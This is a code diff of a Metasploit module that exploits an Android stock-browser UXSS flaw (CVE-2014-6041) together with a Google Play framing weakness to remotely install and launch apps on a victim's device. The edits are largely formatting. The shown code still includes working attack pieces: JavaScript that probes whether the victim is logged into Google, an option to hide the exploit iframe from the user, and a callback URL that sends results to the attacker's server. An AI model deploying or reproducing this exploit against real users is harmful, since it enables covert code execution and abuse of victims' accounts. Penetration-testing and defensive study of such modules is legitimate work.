@@ -8,38 +8,46 @@ class MetasploitModule < Msf::Auxiliary
8
8
include Msf ::Auxiliary ::Report
9
9
10
10
def initialize ( info = { } )
11
- super ( update_info ( info ,
12
- 'Name' => 'Android Browser RCE Through Google Play Store XFO' ,
13
- 'Description' => %q{
14
- This module combines two vulnerabilities to achieve remote code
15
- execution on affected Android devices. First, the module exploits
16
- CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in
17
- versions of Android's open source stock browser (the AOSP Browser) prior to
18
- 4.4. Second, the Google Play store's web interface fails to enforce a
19
- X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be
20
- targeted for script injection. As a result, this leads to remote code execution
21
- through Google Play's remote installation feature, as any application available
22
- on the Google Play store can be installed and launched on the user's device.
23
-
24
- This module requires that the user is logged into Google with a vulnerable browser.
25
-
26
- To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.
27
- } ,
28
- 'Author' => [
29
- 'Rafay Baloch' , # Original UXSS vulnerability
30
- 'joev' # Play Store vector and Metasploit module
31
- ] ,
32
- 'License' => MSF_LICENSE ,
33
- 'Actions' => [ [ 'WebServer' , 'Description' => 'Serve exploit via web server' ] ] ,
34
- 'PassiveActions' => [ 'WebServer' ] ,
35
- 'References' => [
36
- [ 'URL' , 'http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/' ] ,
37
- [ 'URL' , 'https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581' ] ,
38
- [ 'OSVDB' , '110664' ] ,
39
- [ 'CVE' , '2014-6041' ]
40
- ] ,
41
- 'DefaultAction' => 'WebServer'
42
- ) )
11
+ super (
12
+ update_info (
13
+ info ,
14
+ 'Name' => 'Android Browser RCE Through Google Play Store XFO' ,
15
+ 'Description' => %q{
16
+ This module combines two vulnerabilities to achieve remote code
17
+ execution on affected Android devices. First, the module exploits
18
+ CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in
19
+ versions of Android's open source stock browser (the AOSP Browser) prior to
20
+ 4.4. Second, the Google Play store's web interface fails to enforce a
21
+ X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be
22
+ targeted for script injection. As a result, this leads to remote code execution
23
+ through Google Play's remote installation feature, as any application available
24
+ on the Google Play store can be installed and launched on the user's device.
25
+
26
+ This module requires that the user is logged into Google with a vulnerable browser.
27
+
28
+ To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.
29
+ } ,
30
+ 'Author' => [
31
+ 'Rafay Baloch' , # Original UXSS vulnerability
32
+ 'joev' # Play Store vector and Metasploit module
33
+ ] ,
34
+ 'License' => MSF_LICENSE ,
35
+ 'Actions' => [ [ 'WebServer' , { 'Description' => 'Serve exploit via web server' } ] ] ,
36
+ 'PassiveActions' => [ 'WebServer' ] ,
37
+ 'References' => [
38
+ [ 'URL' , 'http://web.archive.org/web/20230321034739/https://www.rapid7.com/blog/post/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041/' ] ,
39
+ [ 'URL' , 'https://web.archive.org/web/20150316151817/http://1337day.com/exploit/description/22581' ] ,
40
+ [ 'OSVDB' , '110664' ] ,
41
+ [ 'CVE' , '2014-6041' ]
42
+ ] ,
43
+ 'DefaultAction' => 'WebServer' ,
44
+ 'Notes' => {
45
+ 'Stability' => [ CRASH_SAFE ] ,
46
+ 'SideEffects' => [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ] ,
47
+ 'Reliability' => [ ]
48
+ }
49
+ )
50
+ )
43
51
44
52
register_options ( [
45
53
OptString . new ( 'PACKAGE_NAME' , [
@@ -53,10 +61,10 @@ def initialize(info = {})
53
61
'com.swlkr.rickrolld/.RickRoll'
54
62
] ) ,
55
63
OptBool . new ( 'DETECT_LOGIN' , [
56
- true , " Prevents the exploit from running if the user is not logged into Google" , true
64
+ true , ' Prevents the exploit from running if the user is not logged into Google' , true
57
65
] ) ,
58
66
OptBool . new ( 'HIDE_IFRAME' , [
59
- true , " Hide the exploit iframe from the user" , true
67
+ true , ' Hide the exploit iframe from the user' , true
60
68
] )
61
69
] )
62
70
end
@@ -68,7 +76,7 @@ def on_request_uri(cli, request)
68
76
print_error request . body [ 0 ..400 ]
69
77
send_response_html ( cli , '' )
70
78
else
71
- print_status ( " Sending initial HTML ..." )
79
+ print_status ( ' Sending initial HTML ...' )
72
80
send_response_html ( cli , exploit_html )
73
81
end
74
82
end
@@ -140,7 +148,7 @@ def exploit_html
140
148
141
149
def detect_login_js
142
150
if datastore [ 'DETECT_LOGIN' ]
143
- %Q |
151
+ %|
144
152
var img = document.createElement('img');
145
153
img.onload = exploit;
146
154
img.onerror = function() {
@@ -150,7 +158,7 @@ def detect_login_js
150
158
x.send('Exploit failed: user is not logged into google.com')
151
159
};
152
160
img.setAttribute('style', HIDDEN_STYLE);
153
- var rand = '&d=#{ Rex ::Text . rand_text_alphanumeric ( rand ( 12 ) + 5 ) } ';
161
+ var rand = '&d=#{ Rex ::Text . rand_text_alphanumeric ( rand ( 5 .. 16 ) ) } ';
154
162
img.setAttribute('src', 'https://accounts.google.com/CheckCookie?continue=https%3A%2F%2Fwww.google.com%2Fintl%2Fen%2Fimages%2Flogos%2Faccounts_logo.png'+rand);
155
163
document.body.appendChild(img);
156
164
|
@@ -168,7 +176,7 @@ def hidden_css
168
176
end
169
177
170
178
def backend_url
171
- proto = ( datastore [ " SSL" ] ? " https" : " http" )
179
+ proto = ( datastore [ ' SSL' ] ? ' https' : ' http' )
172
180
myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
173
181
port_str = ( datastore [ 'SRVPORT' ] . to_i == 80 ) ? '' : ":#{ datastore [ 'SRVPORT' ] } "
174
182
"#{ proto } ://#{ myhost } #{ port_str } /#{ datastore [ 'URIPATH' ] } /catch"
0 commit comments